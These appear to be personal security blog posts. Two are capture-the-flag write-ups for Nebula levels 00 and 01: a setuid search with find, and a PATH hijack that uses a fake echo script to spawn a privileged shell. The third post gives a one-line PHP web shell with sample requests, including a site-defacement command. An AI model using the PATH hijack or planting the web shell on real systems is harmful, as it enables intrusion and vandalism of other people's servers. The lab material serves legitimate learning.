Exploit Exercises – Nebula – Level 01

Following on from my previous post this one is about level01 of Nebula on exploit-excercises.com. The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.

It also contains some source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    system("/usr/bin/env echo and now what?");
}

I’m not all that familiar with C (I’m more of a scripter), but I can understand enough; this appears to basically sets all uids for the process to the effective uid (presumably the setuid bit is present) and then calls a command line of:

/usr/bin/env echo and now what?

I wasn’t familiar with the env command so used a bit of googling until I learned that env is used to launch programs in a different environment. It also also sometimes used because a script needs to start with a shebang and followed by an interpreter directive, which must be an absolute path. Because some interpreters are not always installed at the same location, env is sometimes used to launch the correct interpreter by file name rather than full path (e.g. #!/usr/bin/env/ python). To do this, env searches through the list of paths in in the environment variable $PATH in order until it finds a correctly named file that it can execute in one of them. Presumably (for some unknown reason) env is being used here to invoke echo, but it means we can make a different echo program run by creating a malicious script and changing $PATH to point to it first.

I changed the path to include /tmp at the beginning by running the follwing command:

PATH=/tmp:$PATH

and then created a new symbolic link called echo to the getflag program:

ln -s /bin/getflag /tmp/echo

Now when I ran the vulnerable program I got a success message, but I wanted to go one further. I wanted shell…

I tried creating a symbolic link to bash, but now running flag01 failed due to the invalid arguments (“and now what?” are valid arguments for echo, but not bash), so I removed the symbolic link and created an executable shell script that ignored all arguments, and saved it as echo in /tmp. It contained the following two lines of code:

1
2
#!/bin/bash
/bin/bash

This, I hoped, would cause the vulnerable program to spawn a shell. I tested it and it worked. I then ran whoami to confirm that I was flag01 and then getflag to get a success message.

Exploit Exercises – Nebula – Level 00

I’ve started to have a look at the challenges offered by exploit-exercises.com and thought I’d document my progress.

This post is about Nebula Level 00. The information about this level says:

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00 .

This is a pretty simple challenge, but did mean I had to learn all about normal unix filesystem permissions and the more advanced setuid/setguid/stickybit permissions I also learned how to suppress errors from the find command and how to better use the find and man command.

The command I used was

find / -perm -u=s 2>/dev/null

I’ll break down what this does:

  • find – search for files in a directory hierarchy
  • / – start at the root of the filesystem
  • -perm -u=s – find files that have the setuid bit set in their permissions
  • 2>/dev/null – discard all errors (mostly about not having permission to scan directories)

One of the results was /bin/…/flag00. This (…\) is a suspicious looking directory! Running ll /bin/…/flag00 showed me that the owner was flag00 and the setuid bit was indeed set so I ran the file which told me to now run getflag then changed the user to flag00. Running getflag gave me a success message.

What I liked about this was that I had a shell running as the flag00 user so I could run other commands like whoami before typing exit to get out of the shell. At the time, I had no idea how I was put into a new shell, but it all becomes clearer in the next level…

Single Line PHP Script to Gain Shell

A while ago, on PaulDotCom Security Weekly, I heard someone mention something about a single line php script to get shell on the web server. I knew it couldn’t be that hard as it’s only one line, but I didn’t find much about it on google when I searched, perhaps because it’s too easy, or perhaps I was using the wrong search terms. Anyway, I forgot about it for a while… until now.

Since WebApp security is what I’m most interested in at the moment, I have been learning PHP, I’m not finished learning yet, but today (while reading about how inputs should be sanitised before using “include”) I remembered the single line PHP shell, and I had a go and this is what I came up with:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Obviously the WebApp would have to be vulnerable in some way in order to be able to put this script on the server, but once it was, it could potentially be used to do things like dump files and deface the site.

The output is just text, not an HTML document so if using a web browser, you will want to view the source in order to see the proper result.

I used shell_exec() instead of just exec() because it returns every line instead of just the last one. An alternative is to use passthru() which will also send binary data, but to get that to work properly with binary data, you’d probably have to also set the headers which makes it more than one line.

I was able to run unix commands (windows commands should also work if the host is running windows) such as:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

The last command even showed me some files and their owners which in turn (because I am using a shared host) told me the names of some of the other sites are that are running on the same server as mine, which was an unexpected “bonus” find.